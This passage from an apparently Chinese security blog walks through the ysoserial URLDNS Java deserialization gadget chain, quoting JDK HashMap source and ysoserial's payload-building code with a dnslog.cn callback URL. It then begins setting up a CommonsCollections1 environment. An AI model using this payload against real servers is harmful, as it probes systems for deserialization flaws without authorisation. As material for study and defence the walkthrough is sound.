args) throws IOException, ClassNotFoundException {\n        unSerialize(\"ser.bin\");\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd0\u884c\u5e8f\u5217\u5316\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230\u5728IDEA\u5de5\u4f5c\u76ee\u5f55\u751f\u6210\u4e86\u4e00\u4e2aser.bin\uff0c\u8fd9\u4e2a\u5c31\u662f\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-220722-21-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-220722-21-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u6211\u624b\u52a8\u628a\u4ed6copy\u5230URLDNS\u76ee\u5f55\u53bb\u4e86\uff0c\u7136\u540e\u8fd0\u884c\u53e6\u4e00\u4e2a\u53cd\u5e8f\u5217\u5316\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230\u5e73\u53f0\u6210\u529f\u63a5\u6536\u5230\u8bf7\u6c42\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-221211-21-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-221211-21-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u56de\u5230gadget\uff0c\u6211\u4eec\u73b0\u5728\u76f4\u5954HashMap\u7684readObject\uff08IDEA\u91cc\u5168\u5c40\u641c\u7d22\u4e00\u4e0b\u5c31\u641c\u5f97\u5230\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>@java.io.Serial\n    private void readObject(ObjectInputStream s)\n        throws IOException, ClassNotFoundException {\n\n        ObjectInputStream.GetField fields = s.readFields();\n\n        \/\/ Read loadFactor (ignore threshold)\n        float lf = fields.get(\"loadFactor\", 0.75f);\n        if (lf &lt;= 0 || Float.isNaN(lf))\n            throw new InvalidObjectException(\"Illegal load factor: \" + lf);\n\n        lf = Math.min(Math.max(0.25f, lf), 4.0f);\n        HashMap.UnsafeHolder.putLoadFactor(this, lf);\n\n        reinitialize();\n\n        s.readInt();                \/\/ Read and ignore number of buckets\n        int mappings = s.readInt(); \/\/ Read number of mappings (size)\n        if (mappings &lt; 0) {\n            throw new InvalidObjectException(\"Illegal mappings count: \" + mappings);\n        } else if (mappings == 0) {\n            \/\/ use defaults\n        } else if (mappings &gt; 0) {\n            float fc = (float)mappings \/ lf + 1.0f;\n            int cap = ((fc &lt; DEFAULT_INITIAL_CAPACITY) ?\n                       DEFAULT_INITIAL_CAPACITY :\n                       (fc &gt;= MAXIMUM_CAPACITY) ?\n                       MAXIMUM_CAPACITY :\n                       tableSizeFor((int)fc));\n            float ft = (float)cap * lf;\n            threshold = ((cap &lt; MAXIMUM_CAPACITY &amp;&amp; ft &lt; MAXIMUM_CAPACITY) ?\n                         (int)ft : Integer.MAX_VALUE);\n\n            \/\/ Check Map.Entry&#91;].class since it's the nearest public type to\n            \/\/ what we're actually creating.\n            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry&#91;].class, cap);\n            @SuppressWarnings({\"rawtypes\",\"unchecked\"})\n            Node&lt;K,V&gt;&#91;] tab = (Node&lt;K,V&gt;&#91;])new Node&#91;cap];\n            table = tab;\n\n            \/\/ Read the keys and values, and put the mappings in the HashMap\n            for (int i = 0; i &lt; mappings; i++) {\n                @SuppressWarnings(\"unchecked\")\n                    K key = (K) s.readObject();\n                @SuppressWarnings(\"unchecked\")\n                    V value = (V) s.readObject();\n                putVal(hash(key), key, value, false, false);\n            }\n        }\n    }<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-213711-21-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-213711-21-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:725px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6709\u4e00\u884c<code>putVal(hash(key), key, value, false, false);<\/code>\uff0c\u8fd9\u91cc\u7684hash\u662f\u4e00\u4e2a\u5173\u952e\u65b9\u6cd5\uff0c\u56e0\u4e3a\u5728ysoserial\u7684\u6ce8\u89e3\u91cc\u5199\u9053\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.<\/code><\/pre>\n\n\n\n<p>\u7ffb\u8bd1\u8fc7\u6765\u4e5f\u5c31\u662f\uff1a\u5728\u4e0a\u8ff0 put \u64cd\u4f5c\u8fc7\u7a0b\u4e2d\uff0c\u4f1a\u8ba1\u7b97\u5e76\u7f13\u5b58 URL \u7684 hashCode\u3002\u8fd9\u4f1a\u91cd\u7f6e hashCode\uff0c\u4ee5\u4fbf\u4e0b\u6b21\u8c03\u7528 hashCode \u65f6\u89e6\u53d1 DNS \u67e5\u627e\u3002<\/p>\n\n\n\n<p>\u5bf9\u7740\u90a3\u4e2ahash\u51fd\u6570\uff0c\u6309\u4f4fctrl\u7136\u540e\u9f20\u6807\u5de6\u952e\u70b9\u51fb\uff0c\u53ef\u4ee5\u5b9a\u4f4d\u5230\u8fd9\u4e2ahash\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-222622-21-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-222622-21-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u4e3b\u8981\u662f\u8c03\u7528\u4e86\u8fd9\u4e2akey.hashCode\u65b9\u6cd5\uff0c\u4f46\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0chash\u65b9\u6cd5\u662f\u8c03\u7528\u4e86\u6211\u4eec\u4f20\u5165\u7684\u8fd9\u4e2akey\u5bf9\u8c61\u7684hashCode\u65b9\u6cd5\uff0c\u800c\u6211\u4eec\u4f20\u5165\u7684key\u5176\u5b9e\u662f<code>URL url = new URL(\"http:\/\/18qmlt.dnslog.cn\");<\/code>\uff0c\u6240\u4ee5\u5176\u5b9e\u662f\u4e00\u4e2ajava.net.URL\u5bf9\u8c61\uff0c\u6211\u4eec\u6765\u641c\u4e00\u4e0b\u4ed6\u7684hashCode\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-223537-21-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-223537-21-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:713px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u53d1\u73b0\u903b\u8f91\u5c31\u662f\u5f53hashCode\u7684\u503c\u4e3a-1\u7684\u65f6\u5019\u6267\u884c\u4e00\u4e2a<code>handler.hashCode(this)<\/code>\uff0c\u6211\u4eec\u518d\u641c\u4e00\u4e0b\u8fd9\u4e2ahandler\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-223830-21-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-223830-21-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:720px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u4e1c\u897f\u662f\u4e2a<code>URLStreamHandler<\/code>\u7c7b\u7684\u5bf9\u8c61\uff0c\u518d\u641c\u4e00\u4e0b\u8fd9\u4e2a\u5bf9\u8c61\u7684hashCode\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-224137-21-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-224137-21-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:591px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6709\u4e00\u884c<code>InetAddress addr = getHostAddress(u);<\/code>\uff0c\u770b\u540d\u5b57\u4e5f\u77e5\u9053\u79bb\u6211\u4eec\u7684\u76ee\u6807\u5f88\u8fd1\u4e86\uff0c\u518d\u6765\u8ddf\u6839\u8fd9\u4e2a<code>getHostAddress<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-224309-21-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-224309-21-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:605px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5173\u952e\u903b\u8f91\u662f<code>u.hostAddress = InetAddress.getByName(host)<\/code>\uff0c\u5b83\u53ef\u4ee5\u6839\u636e\u4e3b\u673a\u540d\u83b7\u53d6\u5176IP\u5730\u5740\uff0c\u5728\u2f79\u7edc\u4e0a\u5176\u5b9e\u5c31\u662f\u2f00\u6b21DNS\u67e5\u8be2\uff0c\u800c\u8fd9\u91cc\u5c31\u662f\u6211\u4eec\u7684\u6700\u7ec8\u76ee\u6807\uff0c\u5b9e\u73b0\u4e00\u6b21URLDNS\uff0c\u8fd9\u91cc\u6211\u4eec\u5c31\u53ef\u4ee5\u5206\u6790\u51fa\u6765\u4ed6\u7684Gadget\u5176\u5b9e\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HashMap-&gt;readObject()\n  =&gt;HashMap-&gt;hash()\n    =&gt;URL-&gt;hashCode()\n      =&gt;URLStreamHandler-&gt;hashCode()\n         =&gt;URLStreamHandler-&gt;getHostAddress()\n            =&gt;InetAddress-&gt;getByName()<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u56de\u5230yso\u7684\u6784\u9020\u5bf9\u8c61\u7684\u4ee3\u7801\u91cc\uff0c\u73b0\u5728\u5c31\u597d\u7406\u89e3\u7684\u591a\uff0c\u5b83\u7684\u4ee3\u7801\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public Object getObject(final String url) throws Exception {\n\n    URLStreamHandler handler = new SilentURLStreamHandler();\n    HashMap ht = new HashMap(); \n    URL u = new URL(null, url, handler);\n    ht.put(u, url); \n    Reflections.setFieldValue(u, \"hashCode\", -1);\n\n    return ht;\n}<\/code><\/pre>\n\n\n\n<p>\u9996\u5148\u662f<code>URLStreamHandler handler = new SilentURLStreamHandler()<\/code>\uff0c\u4ed6\u662f\u7528\u6765\u907f\u514d\u5728payload \u6784\u9020\u9636\u6bb5\u5c31\u63d0\u524d\u89e6\u53d1 DNS\uff08\u56e0\u4e3a <code>URL<\/code> \u4e00\u88ab\u6784\u9020\uff0c\u5c31\u6709\u53ef\u80fd\u89e3\u6790\u57df\u540d\uff09\uff1b\u63a5\u7740\u662f<code>HashMap ht = new HashMap()<\/code>\uff0c\u4ed6\u662f\u7528\u6765\u521b\u5efa<code>HashMap<\/code>\u5bf9\u8c61\u7684\uff1b\u7136\u540e\u662f<code>URL u = new URL(null, url, handler)<\/code>\uff0c\u8fd9\u4e2a\u4ee3\u7801\u521b\u5efa\u4e86\u4e00\u4e2a <code>URL<\/code> \u5bf9\u8c61 <code>u<\/code>\uff0c\u4f46\u56e0\u4e3a\u7528\u4e86\u81ea\u5b9a\u4e49 handler\uff0c\u6240\u4ee5\u8fd9\u65f6\u5019\u8fd8\u4e0d\u4f1a\u89e6\u53d1 DNS\uff1b\u63a5\u7740\u6709\u4e00\u4e2a\u5f88\u5173\u952e\u7684\u6b65\u9aa4\uff0c\u5c31\u662f<code>ht.put(u, url)<\/code>\uff0c\u6211\u4eec\u770b\u5230\u4ed6\u7684\u5b9e\u73b0\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-230615-21-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-230615-21-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:738px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u5c31\u7eed\u4e0a\u4e86\uff0cput\u5176\u5b9e\u5c31\u662f\u8c03\u7528\u4e86putVal\uff0c\u4ed6\u628a\u6211\u4eec\u4e4b\u524d\u751f\u6210\u7684 URL \u5bf9\u8c61\u4f5c\u4e3a key \u653e\u5165 HashMap\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u53cd\u5e8f\u5217\u5316\u65f6\u518d\u6b21\u89e6\u53d1 hashCode\uff0c\u6211\u4eec\u624b\u52a8\u628ahashCode\u91cd\u7f6e\u6210\u4e86 -1\u3002<\/p>\n\n\n\n<p>\u6700\u540e\u6765\u4e00\u4e2a\u8001\u56fe\u91cd\u5077\uff0c\u518d\u8d34\u4e00\u6b21huamang\u54e5\u54e5\u7684\u601d\u7ef4\u5bfc\u56fe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling.com\/wp-content\/uploads\/2025\/04\/image-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"505\" data-original=\"https:\/\/fushuling.com\/wp-content\/uploads\/2025\/04\/image-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3531\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">CommonsCollections1<\/h1>\n\n\n\n<p>CC\u94fe\u60f3\u6253\u901a\u9700\u8981CommonsCollections &lt;= 3.2.1\u4ee5\u53ca\u4f4e\u7248\u672c\u7684JDK\uff0c\u6211\u7528\u7684\u662f\u548c\u4e0a\u9762\u4e00\u6837\u7684\u73af\u5883\uff0c\u4e0b\u8f7d\u94fe\u63a5\uff1a<a href=\"https:\/\/archive.apache.org\/dist\/commons\/collections\/binaries\/\">https:\/\/archive.apache.org\/dist\/commons\/collections\/binaries\/<\/a>\uff0c\u63a5\u7740\u5bfc\u5165\u8fd9\u4e2ajar<\/p>\n\n\n\n<p>\u5148\u5728\u9879\u76ee\u7684\u540c\u76ee\u5f55\u521b\u5efa\u4e00\u4e2alib\u76ee\u5f55\u65b9\u4fbf\u7ba1\u7406<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250422-000021-21-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250422-000021-21-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:489px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u628a\u4e0b\u597d\u7684jar\u653e\u5230lib\u91cc\uff0c\u63a5\u7740\u70b9\u51fbFile\uff0c\u518d\u70b9\u8fd9\u4e2aProject Structure<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-235236-21-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-235236-21-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:555px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u9009\u62e9modules\uff0c\u518d\u9009\u62e9Add<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-235502-21-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-235502-21-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u9009\u62e9\u7b2c\u4e00\u4e2a\uff0c\u90a3\u4e2aJARs\u9009\u9879\uff0c\u7136\u540e\u9009\u62e9\u6211\u4eec\u7684lib\u76ee\u5f55\u5c31\u597d\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-235536-21-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250421-235536-21-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:700px;height:auto\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250422-000551-21-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250422-000551-21-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<h2 